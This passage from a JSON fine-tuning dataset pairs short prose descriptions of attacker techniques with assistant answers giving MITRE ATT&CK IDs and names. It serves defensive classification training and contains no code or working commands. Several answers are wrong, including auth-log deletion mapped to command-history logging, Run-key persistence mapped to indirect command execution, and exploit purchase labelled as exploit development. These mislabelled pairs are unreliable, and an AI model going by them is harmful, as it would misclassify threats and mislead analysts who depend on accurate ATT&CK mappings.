                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spyware component silently starts video recording when the user opens a specific application, then exfiltrates the video."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor registers a new serverless function on IBM Cloud Functions to establish a foothold."
            },
            {
                "role": "assistant",
                "content": "T1583.007 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerable CI/CD pipeline, the attacker triggered a Terraform destroy operation that removed all provisioned cloud instances, effectively deleting the compute infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor remotely extracts email messages from Exchange servers using PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate data by embedding it in DNS A record responses from a compromised server."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors probe DNS records and public WHOIS data to identify hosts running exposed database ports."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor alters the authentication flow in an SSO service to accept tokens issued by a rogue identity provider."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group injects a kernel driver that intercepts and stores all TCP packets for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a symmetrically encrypted payload transmitted via FTP over TLS, using the FTP channel exclusively for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a debugging interface to pull credential data from the securityd daemon's address space."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group modifies the Android device's trusted CA store by inserting a malicious root certificate for man‑in‑the‑middle attacks."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider uses a USB flash drive to manually copy sensitive financial records from a workstation."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker hosts a trojanized PDF on a compromised website; when the victim opens the PDF, the embedded malicious script executes."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious PowerShell scripts are executed on victim machines to download and launch a Monero miner without user consent."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a custom libpcap-based utility that logs raw network packets for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware replaces the firmware of an embedded controller to gain firmware-level persistence."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised service account to programmatically request a new MFA challenge, prompting the user to approve an unauthorized login."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses Mimikatz to request a forged Kerberos service ticket (golden ticket) for the domain admin account."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sent a targeted email containing a malicious URL that, when clicked, redirected the victim to a credential‑harvesting login page."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts plaintext credentials from the in‑memory password vault of Securityd on a compromised macOS device."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the rc.local file to automatically start a keylogger whenever the machine powers on."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: RC Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor removes entries from /var/log/secure and /var/log/auth.log to conceal activity."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a shortcut on the desktop that executes a PowerShell command to download additional modules."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\winlogon.exe, the threat actor sets a malicious DLL as a debugger, achieving execution upon user logon."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code modifies the Windows Registry’s ‘Run’ key to point to a script that executes a secondary payload during user logon."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary encoded command and control data within DNS TXT queries to exfiltrate information from the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ a custom utility to dump all credentials stored in the Keychain for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages MSBuild's ability to import external XML files, loading a malicious .targets file that runs a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor executed 'netstat -ano' to identify remote IP addresses communicating with the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leveraged access to a confidential internal wiki to extract configuration details of the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerShell is used to extract and exfiltrate browser history and cookies from victim browsers."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor replaces the binary referenced in a legitimate systemd service with a trojanized version."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the PubPrn service, a threat actor triggers execution of a malicious binary by sending crafted print job requests."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages the systemd timer equivalent of cron to achieve persistence on Linux servers."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor uses dynamic DNS resolution to adapt to changes in the C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses the 'date' command on Linux to discover the victim's system time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker manipulates serverless function triggers to execute malicious payloads on schedule."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider extracts a code‑signing certificate from the organization’s internal PKI and uses it to authenticate malicious updates."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor hijacks an existing SSH tunnel by inserting themselves into the network path and redirecting traffic to a controlled server."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware collected network device configuration files from a cloud storage bucket used for backups."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT modifies the Active Directory Kerberos ticket-granting service to issue tickets with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s toolkit contains a Go program that reads base64‑encoded data from a file, decodes it, and writes the clear payload to disk."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a SQL Server Agent job that calls a tainted stored procedure, executing a Windows command to enumerate domain users."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors purchase an exploit for a remote file inclusion vulnerability in a legacy web framework to broaden their attack surface."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerable SSH daemon configuration, the threat actor reuses an existing authenticated session to gain unauthorized access to privileged services."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the xattr command to remove the com.apple.quarantine attribute from a malicious executable, bypassing Gatekeeper checks."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a removable DVD to transfer stolen data from an isolated network."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code modifies the LDAP directory to insert a new privileged account that bypasses normal authentication controls."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder adds a public key to the authorized_keys of the default user to enable silent SSH logins."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit uses Process Doppelgänging to create a fake process that runs attacker‑controlled code."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor adds a local account called 'temp' and stores credentials in a file."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a shortcut file with a trailing space in its name, making it display as a harmless document while actually linking to a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool calls the GetProcessId function repeatedly to discover process IDs of security software."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware encrypts its command messages with a symmetric key that is hard‑coded in the binary, ensuring all traffic appears innocuous."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using search engines and other public sources to gather information about a target company's security posture."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages a compromised web application to create a bidirectional communication loop, allowing the C2 server to issue commands and receive status updates via the same service."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromised the organization's IIS web server, modifying the web.config file to load a malicious .NET assembly."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes the Windows API function WriteProcessMemory after creating a suspended process to inject malicious shellcode, achieving process hollowing."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder signs up for a cheap web hosting service and uploads a custom backdoor that communicates over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates data by embedding it in QR codes displayed on a compromised website."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script creates a hidden local account on the victim machine for later use."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool leverages the 'zip' binary to archive key files from the victim machine before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro initiates a DDE conversation with calc.exe to launch a command shell."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script runs msiexec.exe with spoofed arguments that suggest a normal software installation, while actually installing a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group hijacks the victim's domain registrar credentials and transfers ownership to a malicious account."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors embed a compressed executable inside an HTML page using the <script> tag with a base64 payload, which is decoded client‑side and written to disk via the browser’s download API, a classic HTML smuggling method."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder uses Terraform to provision a new Google Cloud service account with Owner role."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage group hijacks a VPS to host a malicious WordPress site used for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing malware runs as a hidden service, capturing keystrokes from remote desktop sessions and sending them via HTTPS to an attacker-controlled endpoint."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary extracts saved Outlook PST files from the compromised host to harvest email messages."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware campaign modifies the SSH server configuration to disable strong key exchange algorithms, allowing use of weak Diffie‑Hellman groups."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed \"docker exec\" on a container with the host's Docker socket mounted, enabling them to control the Docker daemon."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary's tool encrypts critical system files, such as the Windows registry and system binaries, causing the OS to fail to boot without the decryption key."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before proceeding, the program reads the system’s DMI data and looks for the presence of the 'VirtualBox' or 'Parallels' strings in the motherboard product name."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a misconfigured internal API to upload a defaced JavaScript file that altered page content for all users."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses AWS Systems Manager Session Manager to remotely administer compromised servers without direct network exposure."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
